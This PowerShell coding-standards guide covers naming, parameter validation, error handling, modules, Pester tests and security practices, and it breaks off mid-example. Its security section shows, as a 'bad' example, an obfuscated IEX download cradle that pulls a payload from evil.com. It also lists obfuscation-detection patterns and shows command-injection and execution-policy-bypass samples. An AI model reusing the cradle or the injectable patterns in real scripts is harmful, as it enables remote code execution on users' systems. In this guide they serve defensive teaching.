PowerShell
Language Overview¶
PowerShell is a cross-platform task automation solution consisting of a command-line shell, scripting language, and configuration management framework. This guide focuses on PowerShell 7+ (PowerShell Core) for cross-platform compatibility.
Key Characteristics¶
- Paradigm: Object-oriented, pipeline-based scripting
- Case Sensitivity: Case-insensitive by default
- File Extensions:
.ps1(scripts),.psm1(modules),.psd1(manifests) - Primary Use: System administration, automation, CI/CD, infrastructure management
- Platforms: Windows, Linux, macOS
Supported Versions¶
- PowerShell 7.2+: Long-term support (LTS) versions
- PowerShell 7.4+: Current stable version
Quick Reference¶
| Category | Convention | Example | Notes |
|---|---|---|---|
| Naming | |||
| Functions | Verb-Noun PascalCase |
Get-UserData, Set-Configuration |
Use approved verbs |
| Variables | $PascalCase |
$UserName, $ApiUrl |
Descriptive names |
| Parameters | PascalCase |
[string]$FilePath |
No $ in declaration |
| Constants | $UPPER_CASE |
$MAX_RETRIES |
Uppercase for clarity |
| Private Functions | Verb-Noun |
Same as public | No special prefix needed |
| Files | |||
| Scripts | Verb-Noun.ps1 |
Deploy-Application.ps1 |
PascalCase with .ps1 |
| Modules | ModuleName.psm1 |
MyUtilities.psm1 |
PascalCase with .psm1 |
| Manifests | ModuleName.psd1 |
MyUtilities.psd1 |
Module metadata |
| Formatting | |||
| Indentation | 4 spaces | if ($condition) { |
4 spaces per level |
| Line Length | 115 characters | # Reasonable max |
Keep lines readable |
| Braces | Same line opening | if ($x) { |
K&R style |
| Syntax | |||
| Comparison | -eq, -ne, -lt, -gt |
if ($x -eq 5) |
Not ==, != |
| String Quotes | Single ' or double " |
'static', "$variable" |
Double for interpolation |
| Comments | # for line, <# #> for block |
# Comment |
Hash for comments |
| Parameters | |||
| Type | Always specify | [string]$Path |
Strong typing |
| Validation | Use attributes | [ValidateNotNullOrEmpty()] |
Built-in validation |
| Mandatory | Mark required | [Parameter(Mandatory=$true)] |
Required parameters |
| Best Practices | |||
| Error Handling | Use try/catch | try { } catch { } |
Structured error handling |
| Cmdlet Binding | Use [CmdletBinding()] |
Advanced functions | Enable advanced features |
| Pipeline | Support pipeline | [Parameter(ValueFromPipeline)] |
Accept pipeline input |
| Write Output | Use Write-Output |
Not Write-Host |
Proper output stream |
Naming Conventions¶
Functions and Cmdlets¶
Use PascalCase with Verb-Noun pattern using approved verbs:
## Good - Approved verb + PascalCase noun
function Get-UserProfile { }
function Set-ServiceConfiguration { }
function New-DeploymentPackage { }
function Remove-TemporaryFiles { }
## Bad - Unapproved verb or incorrect casing
function Fetch-UserProfile { } # Use Get, not Fetch
function get-userProfile { } # Incorrect casing
function Delete-TempFiles { } # Use Remove, not Delete
Approved Verbs¶
Use Get-Verb to see all approved verbs. Common categories:
## Data Operations
Get, Set, New, Remove, Clear, Add, Copy, Move
## Lifecycle
Start, Stop, Restart, Enable, Disable, Initialize, Complete
## Diagnostics
Debug, Trace, Measure, Test, Watch, Confirm
## Communication
Send, Receive, Read, Write, Invoke, Connect, Disconnect
Variables¶
Use PascalCase for variables:
## Good
$UserName = "john.doe"
$ServiceEndpoint = "https://api.example.com"
$MaxRetryCount = 3
## Bad - Incorrect casing
$username = "john.doe"
$service_endpoint = "https://api.example.com"
Constants and Configuration¶
Use UPPER_SNAKE_CASE for constants:
## Good
$MAX_TIMEOUT_SECONDS = 300
$DEFAULT_API_VERSION = "v1"
$LOG_FILE_PATH = "/var/log/app.log"
Function Structure¶
Basic Function¶
function Get-UserProfile {
<#
.SYNOPSIS
Retrieves user profile information from Active Directory.
.DESCRIPTION
Queries Active Directory for detailed user profile information including
display name, email, department, and manager.
.PARAMETER UserName
The SAM account name of the user to query.
.PARAMETER IncludeManager
Include manager information in the output.
.EXAMPLE
Get-UserProfile -UserName "jdoe"
.EXAMPLE
Get-UserProfile -UserName "jdoe" -IncludeManager
.OUTPUTS
PSCustomObject with user profile properties.
.NOTES
Requires Active Directory PowerShell module.
#>
[CmdletBinding()]
param(
[Parameter(Mandatory = $true, Position = 0)]
[ValidateNotNullOrEmpty()]
[string]$UserName,
[Parameter(Mandatory = $false)]
[switch]$IncludeManager
)
begin {
Write-Verbose "Starting user profile retrieval for: $UserName"
}
process {
try {
$User = Get-ADUser -Identity $UserName -Properties DisplayName, EmailAddress, Department, Manager
$Profile = [PSCustomObject]@{
UserName = $User.SamAccountName
DisplayName = $User.DisplayName
Email = $User.EmailAddress
Department = $User.Department
}
if ($IncludeManager -and $User.Manager) {
$Manager = Get-ADUser -Identity $User.Manager -Properties DisplayName
$Profile | Add-Member -MemberType NoteProperty -Name Manager -Value $Manager.DisplayName
}
return $Profile
}
catch {
Write-Error "Failed to retrieve user profile for '$UserName': $_"
throw
}
}
end {
Write-Verbose "User profile retrieval completed"
}
}
Advanced Function with Pipeline Support¶
function Set-ServiceConfiguration {
[CmdletBinding(SupportsShouldProcess = $true, ConfirmImpact = 'Medium')]
param(
[Parameter(Mandatory = $true, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true)]
[string[]]$ServiceName,
[Parameter(Mandatory = $true)]
[ValidateSet('Running', 'Stopped', 'Paused')]
[string]$DesiredState,
[Parameter(Mandatory = $false)]
[ValidateSet('Automatic', 'Manual', 'Disabled')]
[string]$StartupType
)
begin {
Write-Verbose "Configuring services with desired state: $DesiredState"
$Results = @()
}
process {
foreach ($Service in $ServiceName) {
if ($PSCmdlet.ShouldProcess($Service, "Set configuration")) {
try {
$ServiceObj = Get-Service -Name $Service -ErrorAction Stop
# Set startup type if specified
if ($PSBoundParameters.ContainsKey('StartupType')) {
Set-Service -Name $Service -StartupType $StartupType
Write-Verbose "Set startup type to '$StartupType' for service: $Service"
}
# Set desired state
switch ($DesiredState) {
'Running' { Start-Service -Name $Service }
'Stopped' { Stop-Service -Name $Service }
'Paused' { Suspend-Service -Name $Service }
}
$Results += [PSCustomObject]@{
ServiceName = $Service
Status = (Get-Service -Name $Service).Status
StartupType = (Get-Service -Name $Service).StartType
Success = $true
}
}
catch {
Write-Error "Failed to configure service '$Service': $_"
$Results += [PSCustomObject]@{
ServiceName = $Service
Status = $null
StartupType = $null
Success = $false
}
}
}
}
}
end {
return $Results
}
}
Parameters and Validation¶
Parameter Attributes¶
function New-UserAccount {
[CmdletBinding()]
param(
# Mandatory parameter with validation
[Parameter(Mandatory = $true, Position = 0)]
[ValidateNotNullOrEmpty()]
[ValidateLength(3, 20)]
[string]$UserName,
# Email validation
[Parameter(Mandatory = $true)]
[ValidatePattern('^[\w-\.]+@([\w-]+\.)+[\w-]{2,4}$')]
[string]$Email,
# Range validation
[Parameter(Mandatory = $false)]
[ValidateRange(1, 120)]
[int]$Age = 18,
# Set validation
[Parameter(Mandatory = $false)]
[ValidateSet('Admin', 'User', 'Guest')]
[string]$Role = 'User',
# Script validation
[Parameter(Mandatory = $false)]
[ValidateScript({ Test-Path $_ -PathType Container })]
[string]$HomeDirectory,
# Count validation
[Parameter(Mandatory = $false)]
[ValidateCount(1, 5)]
[string[]]$Groups
)
# Function implementation
}
Parameter Sets¶
function Get-LogData {
[CmdletBinding(DefaultParameterSetName = 'ByDate')]
param(
# ByDate parameter set
[Parameter(Mandatory = $true, ParameterSetName = 'ByDate')]
[datetime]$StartDate,
[Parameter(Mandatory = $true, ParameterSetName = 'ByDate')]
[datetime]$EndDate,
# ByCount parameter set
[Parameter(Mandatory = $true, ParameterSetName = 'ByCount')]
[ValidateRange(1, 1000)]
[int]$Count,
# Common parameter across all sets
[Parameter(Mandatory = $false)]
[string]$LogLevel = 'Info'
)
switch ($PSCmdlet.ParameterSetName) {
'ByDate' {
Get-WinEvent -FilterHashtable @{
LogName = 'Application'
StartTime = $StartDate
EndTime = $EndDate
} | Where-Object { $_.LevelDisplayName -eq $LogLevel }
}
'ByCount' {
Get-WinEvent -LogName 'Application' -MaxEvents $Count |
Where-Object { $_.LevelDisplayName -eq $LogLevel }
}
}
}
Error Handling¶
Try-Catch-Finally¶
function Invoke-ApiRequest {
[CmdletBinding()]
param(
[Parameter(Mandatory = $true)]
[string]$Endpoint,
[Parameter(Mandatory = $false)]
[int]$MaxRetries = 3
)
$AttemptCount = 0
$Success = $false
while (-not $Success -and $AttemptCount -lt $MaxRetries) {
$AttemptCount++
Write-Verbose "API request attempt $AttemptCount of $MaxRetries"
try {
$Response = Invoke-RestMethod -Uri $Endpoint -Method Get -ErrorAction Stop
$Success = $true
return $Response
}
catch [System.Net.WebException] {
Write-Warning "Network error on attempt $AttemptCount: $($_.Exception.Message)"
if ($AttemptCount -eq $MaxRetries) {
Write-Error "Max retries reached. Request failed."
throw
}
Start-Sleep -Seconds (2 * $AttemptCount)
}
catch {
Write-Error "Unexpected error: $($_.Exception.Message)"
throw
}
finally {
Write-Verbose "Completed attempt $AttemptCount"
}
}
}
ErrorAction and ErrorVariable¶
## Suppress errors for specific commands
$Service = Get-Service -Name 'NonExistentService' -ErrorAction SilentlyContinue
if ($null -eq $Service) {
Write-Warning "Service not found, creating..."
}
## Capture errors for analysis
Get-Process -Name 'chrome' -ErrorAction SilentlyContinue -ErrorVariable ProcessErrors
if ($ProcessErrors) {
Write-Error "Failed to get process: $($ProcessErrors[0].Exception.Message)"
}
Pipeline Usage¶
Pipeline-Aware Functions¶
function Export-UserData {
[CmdletBinding()]
param(
[Parameter(Mandatory = $true, ValueFromPipeline = $true)]
[PSCustomObject[]]$User,
[Parameter(Mandatory = $true)]
[string]$OutputPath
)
begin {
Write-Verbose "Starting user data export to: $OutputPath"
$AllUsers = @()
}
process {
$AllUsers += $User
}
end {
$AllUsers | Export-Csv -Path $OutputPath -NoTypeInformation
Write-Verbose "Exported $($AllUsers.Count) users to $OutputPath"
}
}
## Usage
Get-ADUser -Filter * | Export-UserData -OutputPath 'users.csv'
Pipeline Best Practices¶
## Good - Efficient pipeline usage
Get-Process | Where-Object { $_.WorkingSet -gt 100MB } | Sort-Object WorkingSet -Descending | Select-Object -First 10
## Good - Named parameters for clarity
Get-ChildItem -Path C:\Logs -Filter *.log |
Where-Object { $_.LastWriteTime -lt (Get-Date).AddDays(-30) } |
Remove-Item -Force
## Avoid - Unnecessary loops when pipeline works
## Bad
$Files = Get-ChildItem -Path C:\Logs
foreach ($File in $Files) {
Remove-Item -Path $File.FullName
}
## Good
Get-ChildItem -Path C:\Logs | Remove-Item
Module Structure¶
Module Layout¶
MyModule/
├── MyModule.psd1 # Module manifest
├── MyModule.psm1 # Root module script
├── Public/ # Exported functions
│ ├── Get-MyData.ps1
│ └── Set-MyData.ps1
├── Private/ # Internal functions
│ └── ConvertTo-MyFormat.ps1
├── Classes/ # PowerShell classes
│ └── MyClass.ps1
├── Tests/ # Pester tests
│ ├── MyModule.Tests.ps1
│ └── Integration.Tests.ps1
└── en-US/ # Help files
└── MyModule-help.xml
Module Manifest (.psd1)¶
@{
RootModule = 'MyModule.psm1'
ModuleVersion = '1.0.0'
GUID = '12345678-1234-1234-1234-123456789012'
Author = 'Tyler Dukes'
CompanyName = 'Dukes Engineering'
Copyright = '(c) 2025 Tyler Dukes. All rights reserved.'
Description = 'Module for managing application deployments'
PowerShellVersion = '7.2'
FunctionsToExport = @('Get-MyData', 'Set-MyData')
CmdletsToExport = @()
VariablesToExport = @()
AliasesToExport = @()
RequiredModules = @('Microsoft.PowerShell.Management')
PrivateData = @{
PSData = @{
Tags = @('Automation', 'Deployment')
LicenseUri = 'https://github.com/myorg/MyModule/blob/main/LICENSE'
ProjectUri = 'https://github.com/myorg/MyModule'
}
}
}
Root Module (.psm1)¶
## MyModule.psm1
## Import all public functions
$PublicFunctions = @(Get-ChildItem -Path $PSScriptRoot\Public\*.ps1 -ErrorAction SilentlyContinue)
foreach ($Function in $PublicFunctions) {
try {
. $Function.FullName
}
catch {
Write-Error "Failed to import function $($Function.FullName): $_"
}
}
## Import all private functions
$PrivateFunctions = @(Get-ChildItem -Path $PSScriptRoot\Private\*.ps1 -ErrorAction SilentlyContinue)
foreach ($Function in $PrivateFunctions) {
try {
. $Function.FullName
}
catch {
Write-Error "Failed to import private function $($Function.FullName): $_"
}
}
## Export only public functions
Export-ModuleMember -Function $PublicFunctions.BaseName
Testing with Pester¶
Basic Pester Test¶
## Get-UserProfile.Tests.ps1
BeforeAll {
. $PSScriptRoot/../Public/Get-UserProfile.ps1
}
Describe 'Get-UserProfile' {
Context 'Parameter validation' {
It 'Should require UserName parameter' {
{ Get-UserProfile } | Should -Throw
}
It 'Should accept valid UserName' {
{ Get-UserProfile -UserName 'jdoe' } | Should -Not -Throw
}
}
Context 'User retrieval' {
BeforeEach {
Mock Get-ADUser {
return [PSCustomObject]@{
SamAccountName = 'jdoe'
DisplayName = 'John Doe'
EmailAddress = 'jdoe@example.com'
Department = 'IT'
}
}
}
It 'Should return user profile object' {
$Result = Get-UserProfile -UserName 'jdoe'
$Result | Should -Not -BeNullOrEmpty
$Result.UserName | Should -Be 'jdoe'
}
It 'Should include email address' {
$Result = Get-UserProfile -UserName 'jdoe'
$Result.Email | Should -Match '^\w+@\w+\.\w+$'
}
}
}
PSScriptAnalyzer Configuration¶
.pslintrc.psd1¶
@{
Rules = @{
PSAvoidUsingCmdletAliases = @{
Enable = $true
}
PSAvoidUsingWriteHost = @{
Enable = $true
}
PSUseApprovedVerbs = @{
Enable = $true
}
PSUseDeclaredVarsMoreThanAssignments = @{
Enable = $true
}
PSProvideCommentHelp = @{
Enable = $true
}
}
ExcludeRules = @(
'PSAvoidUsingInvokeExpression'
)
Severity = @('Error', 'Warning')
}
Running PSScriptAnalyzer¶
## Analyze single file
Invoke-ScriptAnalyzer -Path .\MyScript.ps1
## Analyze entire directory
Invoke-ScriptAnalyzer -Path .\MyModule -Recurse
## With custom settings
Invoke-ScriptAnalyzer -Path .\MyModule -Settings .\.pslintrc.psd1
Common Pitfalls¶
Array vs ArrayList Performance¶
Issue: Using += to build arrays creates a new array each time, causing O(n²) performance.
Example:
## Bad - Slow array building
$results = @()
foreach ($i in 1..10000) {
$results += $i # ❌ Creates new array each iteration! Very slow
}
Solution: Use ArrayList or collect pipeline output.
## Good - ArrayList for dynamic growth
$results = [System.Collections.ArrayList]::new()
foreach ($i in 1..10000) {
[void]$results.Add($i) # ✅ Fast O(1) append
}
## Good - Collect from pipeline
$results = foreach ($i in 1..10000) {
$i # ✅ Output collected into array automatically
}
## Good - List generic type
$results = [System.Collections.Generic.List[int]]::new()
$results.Add(42)
Key Points:
+=on arrays copies entire array each time- Use ArrayList or Generic List for dynamic collections
- Pipeline output collection is efficient
- Use
[void]to suppress ArrayList.Add() return value
$null Comparison Order¶
Issue: Comparing with $null on right side can give unexpected results with arrays.
Example:
## Bad - $null on right
$array = @(1, 2, $null, 3)
if ($array -eq $null) { # ❌ Always false! Returns elements equal to $null
Write-Host "Array is null" # Never executes
}
Solution: Always put $null on the left side of comparisons.
## Good - $null on left
$array = @(1, 2, $null, 3)
if ($null -eq $array) { # ✅ Correct null check
Write-Host "Array is null"
}
## Good - Check for empty or null
if ($null -eq $array -or $array.Count -eq 0) {
Write-Host "Array is null or empty"
}
Key Points:
- Always use
$null -eq $variable, not$variable -eq $null - With
$nullon right,-eqfilters array for null values - With
$nullon left,-eqperforms proper null check - This applies to all comparison operators
Variable Scope Confusion¶
Issue: Missing $script: or $global: prefix causes variables to be local-scoped only.
Example:
## Bad - Variable not accessible outside function
function Set-Config {
$config = "production" # ❌ Local scope only
}
Set-Config
Write-Host $config # Empty! Variable doesn't exist here
Solution: Use scope modifiers for non-local variables.
## Good - Script scope
function Set-Config {
$script:config = "production" # ✅ Accessible in script
}
Set-Config
Write-Host $script:config # "production"
## Good - Global scope (use sparingly)
function Set-GlobalConfig {
$global:config = "production" # ✅ Accessible everywhere
}
## Good - Return values instead
function Get-Config {
$config = "production"
return $config # ✅ Better approach
}
$config = Get-Config
Key Points:
- Variables default to local scope in functions
$script:for script-wide variables$global:for truly global variables (use rarely)- Prefer return values over scope manipulation
Pipeline vs ForEach Performance¶
Issue: Using ForEach-Object in pipeline is slower than foreach loop for in-memory collections.
Example:
## Bad - Slow pipeline for in-memory collection
$users = Get-Content users.txt
$users | ForEach-Object { # ❌ Slower for arrays in memory
Process-User $_
}
Solution: Use foreach loop for in-memory collections.
## Good - Fast foreach loop
$users = Get-Content users.txt
foreach ($user in $users) { # ✅ Faster for in-memory arrays
Process-User $user
}
## Good - Pipeline for streaming
Get-ChildItem -Recurse | ForEach-Object { # ✅ Good for streaming
Process-File $_
}
## Good - Where-Object vs .Where() method
$large = $users.Where({ $_.Size -gt 1MB }) # ✅ Faster method syntax
Key Points:
foreachloop is faster for arrays already in memory- Pipeline (
ForEach-Object) good for streaming large datasets - Use
.Where()and.ForEach()methods for better performance - Pipeline allows memory-efficient processing of large data
Try-Catch Without Finally¶
Issue: Not using finally block causes cleanup code to be skipped on errors.
Example:
## Bad - Resources not cleaned up on error
try {
$file = [System.IO.File]::Open("data.txt", "Open")
Process-File $file
$file.Close() # ❌ Not called if Process-File throws!
} catch {
Write-Error $_.Exception.Message
}
Solution: Use finally for cleanup code.
## Good - Finally ensures cleanup
try {
$file = [System.IO.File]::Open("data.txt", "Open")
Process-File $file
} catch {
Write-Error $_.Exception.Message
} finally {
if ($null -ne $file) {
$file.Close() # ✅ Always called
}
}
## Better - Using statement (PowerShell 7+)
using ($file = [System.IO.File]::Open("data.txt", "Open")) {
Process-File $file
} # ✅ Automatically disposed
## Better - Cmdlet with built-in cleanup
Get-Content "data.txt" | Process-Data # ✅ Handles file closing
Key Points:
finallyalways executes, even on errors or returns- Use
finallyfor resource cleanup (files, connections, locks) - PowerShell 7+ supports
usingstatement - Prefer cmdlets that handle cleanup automatically
Anti-Patterns¶
❌ Avoid: Using Aliases in Scripts¶
## Bad - Aliases reduce readability
gci | ? { $_.Length -gt 1MB } | % { ri $_ }
## Good - Full cmdlet names
Get-ChildItem | Where-Object { $_.Length -gt 1MB } | ForEach-Object { Remove-Item $_ }
❌ Avoid: Write-Host for Output¶
## Bad - Write-Host cannot be captured
function Get-ComputerStatus {
Write-Host "Computer is online"
}
## Good - Use Write-Output or return
function Get-ComputerStatus {
return [PSCustomObject]@{
Status = 'Online'
}
}
❌ Avoid: Unapproved Verbs¶
## Bad - Unapproved verbs
function Fetch-UserData { }
function Delete-OldFiles { }
## Good - Approved verbs
function Get-UserData { }
function Remove-OldFiles { }
❌ Avoid: Not Using Parameter Validation¶
## Bad - No validation
function Set-UserAge {
param($Age)
# No validation - can accept invalid values
$User.Age = $Age
}
## Good - With validation
function Set-UserAge {
param(
[Parameter(Mandatory=$true)]
[ValidateRange(0, 150)]
[int]$Age
)
$User.Age = $Age
}
❌ Avoid: Using Positional Parameters in Scripts¶
## Bad - Positional parameters are unclear
Get-ChildItem C:\Temp *.txt $true
## Good - Named parameters
Get-ChildItem -Path C:\Temp -Filter *.txt -Recurse
❌ Avoid: Suppressing Errors with Out-Null¶
## Bad - Hiding errors
Remove-Item $file -ErrorAction SilentlyContinue 2>&1 | Out-Null
## Good - Explicit error handling
try {
Remove-Item $file -ErrorAction Stop
} catch {
Write-Warning "Failed to remove $file: $_"
}
❌ Avoid: Not Using Splatting for Many Parameters¶
## Bad - Long parameter list
New-ADUser -Name "John Doe" -SamAccountName "jdoe" `
-UserPrincipalName "jdoe@contoso.com" `
-Path "OU=Users,DC=contoso,DC=com" -AccountPassword $password -Enabled $true
## Good - Use splatting
$userParams = @{
Name = "John Doe"
SamAccountName = "jdoe"
UserPrincipalName = "jdoe@contoso.com"
Path = "OU=Users,DC=contoso,DC=com"
AccountPassword = $password
Enabled = $true
}
New-ADUser @userParams
Security Best Practices¶
Execution Policy and Script Signing¶
Use proper execution policies and sign scripts:
## Bad - Bypassing execution policy
PowerShell.exe -ExecutionPolicy Bypass -File script.ps1 # ❌ Security risk!
## Good - Use RemoteSigned or AllSigned
Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser
## Good - Sign scripts
$cert = Get-ChildItem Cert:\CurrentUser\My -CodeSigningCert
Set-AuthenticodeSignature -FilePath .\script.ps1 -Certificate $cert
## Good - Verify signature before execution
$signature = Get-AuthenticodeSignature -FilePath .\script.ps1
if ($signature.Status -ne 'Valid') {
throw "Script signature is invalid!"
}
Key Points:
- Never use
-ExecutionPolicy Bypassin production - Sign all production scripts
- Use
AllSignedpolicy for maximum security - Verify signatures before execution
- Store code signing certificates securely
- Use timestamp servers when signing
Secure Credential Management¶
Never hardcode credentials:
## Bad - Hardcoded credentials
$username = "admin"
$password = "Password123" # ❌ Exposed!
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential($username, $securePassword)
## Good - Use Get-Credential
$credential = Get-Credential -UserName "admin" -Message "Enter password"
## Good - Use Secret Management module
Install-Module -Name Microsoft.PowerShell.SecretManagement
Install-Module -Name SecretManagement.Keychain # macOS
# Or: SecretManagement.KeePass, SecretManagement.LastPass
Set-Secret -Name "ServiceAccount" -Secret (Get-Credential)
$credential = Get-Secret -Name "ServiceAccount" -AsPlainText
## Good - Azure Key Vault
$secret = Get-AzKeyVaultSecret -VaultName "MyVault" -Name "DbPassword"
$credential = New-Object PSCredential("admin", $secret.SecretValue)
## Good - Never log credentials
function Connect-Database {
[CmdletBinding()]
param(
[Parameter(Mandatory)]
[PSCredential]$Credential
)
# Credential automatically masked in verbose output
Write-Verbose "Connecting as $($Credential.UserName)" # ✅ Password not logged
}
Key Points:
- Never hardcode passwords in scripts
- Use
PSCredentialobjects - Use Secret Management modules
- Leverage cloud secret stores (Azure Key Vault, AWS Secrets Manager)
- Never log or display
SecureStringvalues - Rotate credentials regularly
Input Validation and Injection Prevention¶
Validate all inputs to prevent injection attacks:
## Bad - No validation (injection risk)
param($Username)
Invoke-Expression "net user $Username /delete" # ❌ Command injection!
## Good - Validate inputs
param(
[Parameter(Mandatory)]
[ValidatePattern('^[a-zA-Z0-9_-]+$')]
[ValidateLength(1, 20)]
[string]$Username
)
Remove-LocalUser -Name $Username # ✅ Safe cmdlet
## Good - Use parameter validation
function Remove-UserAccount {
param(
[Parameter(Mandatory)]
[ValidateSet('Dev', 'Test', 'Prod')]
[string]$Environment,
[Parameter(Mandatory)]
[ValidateScript({
if ($_ -match '^[a-zA-Z0-9_-]+$') { $true }
else { throw "Invalid username format" }
})]
[string]$Username
)
Remove-LocalUser -Name $Username
}
## Good - Avoid Invoke-Expression
## Bad
$command = "Get-Process -Name $processName" # User input
Invoke-Expression $command # ❌ Code injection!
## Good
Get-Process -Name $processName # ✅ Direct cmdlet call
Key Points:
- Always validate user inputs
- Use
ValidatePattern,ValidateSet,ValidateScript - Never use
Invoke-Expressionwith user input - Use cmdlets instead of string commands
- Sanitize inputs before file operations
- Use parameter binding, not string concatenation
Secure File Operations¶
Prevent path traversal and unauthorized file access:
## Bad - Path traversal vulnerability
param($FileName)
$content = Get-Content "C:\Data\$FileName" # ❌ Can access ../../../Windows/System32
## Good - Validate and resolve paths
param(
[Parameter(Mandatory)]
[ValidateScript({
if ($_ -notmatch '\.\./') { $true }
else { throw "Path traversal detected" }
})]
[string]$FileName
)
$basePath = "C:\Data"
$fullPath = Join-Path $basePath $FileName | Resolve-Path
if (-not $fullPath.Path.StartsWith($basePath)) {
throw "Access denied: path outside allowed directory"
}
$content = Get-Content $fullPath
## Good - Set restrictive file permissions
$acl = Get-Acl "C:\Secrets\config.json"
$acl.SetAccessRuleProtection($true, $false) # Disable inheritance
$rule = New-Object System.Security.AccessControl.FileSystemAccessRule(
"BUILTIN\Administrators", "FullControl", "Allow"
)
$acl.AddAccessRule($rule)
Set-Acl "C:\Secrets\config.json" $acl
## Good - Verify checksums
function Get-FileIfValid {
param(
[string]$Url,
[string]$ExpectedHash
)
$tempFile = New-TemporaryFile
Invoke-WebRequest -Uri $Url -OutFile $tempFile
$actualHash = (Get-FileHash $tempFile -Algorithm SHA256).Hash
if ($actualHash -ne $ExpectedHash) {
Remove-Item $tempFile
throw "Hash mismatch! File may be tampered."
}
return $tempFile
}
Key Points:
- Validate file paths to prevent traversal
- Use
Resolve-Pathand verify resolved paths - Set appropriate ACLs on sensitive files
- Verify file hashes after download
- Never trust user-provided paths
- Use temporary files for downloads
Least Privilege Execution¶
Run scripts with minimal required privileges:
## Bad - Requiring admin for everything
#Requires -RunAsAdministrator
# Entire script runs as admin even if not needed
## Good - Check and request elevation only when needed
function Install-Application {
if (-not ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole(
[Security.Principal.WindowsBuiltInRole]::Administrator
)) {
throw "This function requires administrator privileges"
}
# Admin-only operations here
}
## Good - Use RunAs for specific commands
$credential = Get-Credential
Invoke-Command -ComputerName localhost -Credential $credential -ScriptBlock {
Install-WindowsFeature -Name Web-Server
}
## Good - Separate privileged and non-privileged operations
function Deploy-Application {
# Non-privileged operations
Test-Configuration
Build-Application
# Only elevate for installation
if (Test-IsAdmin) {
Install-Service
} else {
Write-Warning "Run as administrator to install service"
}
}
Key Points:
- Don't require admin unless absolutely necessary
- Check for admin rights before privileged operations
- Use
Invoke-Commandwith credentials for remote operations - Separate privileged and non-privileged code
- Document why elevation is needed
- Use service accounts with minimal permissions
Network Security¶
Secure network operations:
## Bad - Insecure HTTP
Invoke-WebRequest -Uri "http://api.example.com/data" # ❌ Unencrypted!
## Good - Use HTTPS
Invoke-WebRequest -Uri "https://api.example.com/data"
## Good - Verify SSL certificates
try {
Invoke-WebRequest -Uri "https://api.example.com/data" `
-ErrorAction Stop # Will fail on invalid certs
} catch {
Write-Error "SSL certificate validation failed: $_"
}
## Good - Use authentication headers securely
$token = Get-Secret -Name "ApiToken" -AsPlainText
$headers = @{
"Authorization" = "Bearer $token"
}
Invoke-RestMethod -Uri "https://api.example.com/data" -Headers $headers
## Good - Limit TLS versions
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 -bor `
[Net.SecurityProtocolType]::Tls13
Key Points:
- Always use HTTPS for network requests
- Verify SSL/TLS certificates
- Use TLS 1.2 or higher
- Never disable certificate validation
- Use secure authentication (OAuth, API keys from vaults)
- Implement request timeouts
Audit Logging¶
Log security-relevant operations:
## Good - Comprehensive logging
function Remove-UserAccount {
[CmdletBinding(SupportsShouldProcess)]
param(
[Parameter(Mandatory)]
[string]$Username
)
$auditLog = "C:\Logs\audit.log"
$timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
$user = $env:USERNAME
$computer = $env:COMPUTERNAME
$logEntry = "$timestamp | $computer | $user | Attempting to remove user: $Username"
Add-Content -Path $auditLog -Value $logEntry
try {
if ($PSCmdlet.ShouldProcess($Username, "Remove user account")) {
Remove-LocalUser -Name $Username -ErrorAction Stop
$logEntry = "$timestamp | $computer | $user | SUCCESS: Removed user: $Username"
Add-Content -Path $auditLog -Value $logEntry
}
} catch {
$logEntry = "$timestamp | $computer | $user | FAILED: $($_.Exception.Message)"
Add-Content -Path $auditLog -Value $logEntry
throw
}
}
## Good - Use Windows Event Log
function Write-SecurityEvent {
param(
[string]$Message,
[ValidateSet('Information', 'Warning', 'Error')]
[string]$Level = 'Information'
)
Write-EventLog -LogName Application `
-Source "MyApplication" `
-EntryType $Level `
-EventId 1000 `
-Message $Message
}
Key Points:
- Log all security-relevant operations
- Include timestamps, user, and computer
- Log both successes and failures
- Use Windows Event Log for system-level events
- Protect log files with appropriate ACLs
- Implement log rotation
- Monitor logs for suspicious activity
Script Obfuscation Detection¶
Avoid and detect obfuscated scripts:
## Bad - Obfuscated code (red flag!)
$a='I'+'E'+'X';$b='(Ne'+'w-Ob'+'ject Ne'+'t.WebC'+'lient).Dow'+'nloadStr'+'ing';
&$a($b+"('http://evil.com/payload.ps1')") # ❌ Malicious obfuscation!
## Good - Clear, readable code
$client = New-Object Net.WebClient
$script = $client.DownloadString('https://trusted-site.com/script.ps1')
# Verify hash before executing
$expectedHash = "ABC123..."
$stream = [IO.MemoryStream]::new([Text.Encoding]::UTF8.GetBytes($script))
if ((Get-FileHash -InputStream $stream).Hash -eq $expectedHash) {
Invoke-Expression $script
}
## Good - Detect obfuscation
function Test-ScriptObfuscation {
param([string]$ScriptPath)
$content = Get-Content $ScriptPath -Raw
$suspiciousPatterns = @(
'[char]\(\d+\)', # Char code obfuscation
'\$\w+\s*=\s*[''"][^''"]+[''"]\s*\+', # String concatenation obfuscation
'-join\s*\(', # Join obfuscation
'iex|Invoke-Expression', # Dynamic execution
'\[Convert\]::FromBase64String' # Base64 encoding
)
foreach ($pattern in $suspiciousPatterns) {
if ($content -match $pattern) {
Write-Warning "Suspicious pattern detected: $pattern"
return $false
}
}
return $true
}
Key Points:
- Never obfuscate your own scripts
- Detect and reject obfuscated scripts
- Be suspicious of base64, char codes, string concatenation
- Use PSScriptAnalyzer to detect suspicious patterns
- Review scripts before execution
- Implement application whitelisting
Best Practices¶
Use Approved Verbs¶
Always use approved PowerShell verbs from Get-Verb:
# Good - Approved verbs
function Get-UserData { }
function Set-Configuration { }
function New-Deployment { }
function Remove-TempFiles { }
function Start-Service { }
function Stop-Process { }
# Bad - Unapproved verbs
function Fetch-UserData { } # Use Get
function Delete-TempFiles { } # Use Remove
function Create-Deployment { } # Use New
function Retrieve-Data { } # Use Get
Use CmdletBinding for Advanced Functions¶
Enable advanced function features with [CmdletBinding()]:
# Good - Advanced function with CmdletBinding
function Get-SystemInfo {
[CmdletBinding()]
param(
[Parameter(Mandatory)]
[string]$ComputerName
)
Write-Verbose "Connecting to $ComputerName" # Verbose only shown with -Verbose
Write-Debug "Debug info" # Debug only shown with -Debug
# Function implementation
}
# Good - Support WhatIf and Confirm
function Remove-OldFiles {
[CmdletBinding(SupportsShouldProcess, ConfirmImpact = 'High')]
param(
[string]$Path
)
Get-ChildItem $Path | ForEach-Object {
